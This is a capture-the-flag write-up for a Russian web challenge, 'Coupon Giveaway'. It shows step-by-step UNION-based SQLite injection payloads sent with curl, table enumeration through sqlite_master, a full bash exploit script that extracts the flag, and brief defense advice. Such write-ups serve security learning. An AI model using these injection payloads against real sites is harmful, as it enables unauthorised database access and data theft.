Раздача купонов (Coupon Giveaway)
Раздача купонов (Coupon Giveaway)
Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: column_count_detection, sqlite_master_enumeration, union_sql_injection
Summary
Task: Web application with coupon giveaway form vulnerable to SQL injection. Solution: UNION-based SQLite injection to enumerate tables via sqlite_master and extract flag from s3cret table.
Раздача купонов (Coupon Giveaway) — duckerz
Description
Продажи падали. Босс поручил бухгалтеру сделать странницу с розыгрышем подарочных купонов. Но внезапно сайт был взломан.
URL: http://tasks.duckerz.ru:30070
Analysis
Reconnaissance
Upon visiting the site, a PHP page was found with a form for guessing a number from 1 to 10. A login page at /login.php was also discovered.
Server information:
- PHP/7.4.33
- SQLite database (revealed through error messages)
SQL Injection Discovery
When testing the coupon form with input 4' OR '1'='1, an SQLite error was returned:
SQLSTATE[HY000]: General error: 1 near "' OR '": syntax error
This confirms:
- SQL injection vulnerability exists
- SQLite is used as the DBMS
- No filtering of user input
Solution
Step 1: Determining Column Count
For UNION-based injection, we need to determine the number of columns in the original query:
bash read-only • copy allowed# Test with 1 column - successful curl -X POST http://tasks.duckerz.ru:30070/ -d "guess=4 UNION SELECT 1--"
The query with one column executed successfully, meaning the original SELECT returns 1 column.
Step 2: Enumerating Tables
SQLite stores metadata in the system table sqlite_master:
bash read-only • copy allowedcurl -X POST http://tasks.duckerz.ru:30070/ \ -d "guess=999 UNION SELECT name FROM sqlite_master WHERE type='table'--"
Discovered tables:
coupons— main coupon tables3cret— suspicious table (likely contains the flag)sqlite_sequence— system tableusers— users table
Step 3: Analyzing s3cret Table Structure
bash read-only • copy allowedcurl -X POST http://tasks.duckerz.ru:30070/ \ -d "guess=999 UNION SELECT sql FROM sqlite_master WHERE name='s3cret'--"
Table structure:
sql read-only • copy allowedCREATE TABLE "s3cret" ( "id" INTEGER NOT NULL UNIQUE, "fl4g" TEXT, PRIMARY KEY("id" AUTOINCREMENT) )
The fl4g column clearly indicates the flag location.
Step 4: Extracting the Flag
bash read-only • copy allowedcurl -X POST http://tasks.duckerz.ru:30070/ \ -d "guess=999 UNION SELECT fl4g FROM s3cret--"
Full Exploit
bash read-only • copy allowed#!/bin/bash # SQL Injection exploit for Coupon Giveaway challenge TARGET="http://tasks.duckerz.ru:30070/" echo "[*] Enumerating tables..." curl -s -X POST "$TARGET" -d "guess=999 UNION SELECT group_concat(name) FROM sqlite_master WHERE type='table'--" echo -e "\n[*] Getting s3cret table structure..." curl -s -X POST "$TARGET" -d "guess=999 UNION SELECT sql FROM sqlite_master WHERE name='s3cret'--" echo -e "\n[*] Extracting flag..." curl -s -X POST "$TARGET" -d "guess=999 UNION SELECT fl4g FROM s3cret--"
Defense
To prevent such attacks:
- Use prepared statements
- Validate input types (numbers should be numbers)
- Do not display SQL errors to users
- Apply the principle of least privilege for database access
Additional Resources
- SQLite Injection Cheat Sheet
- UNION-based SQL Injection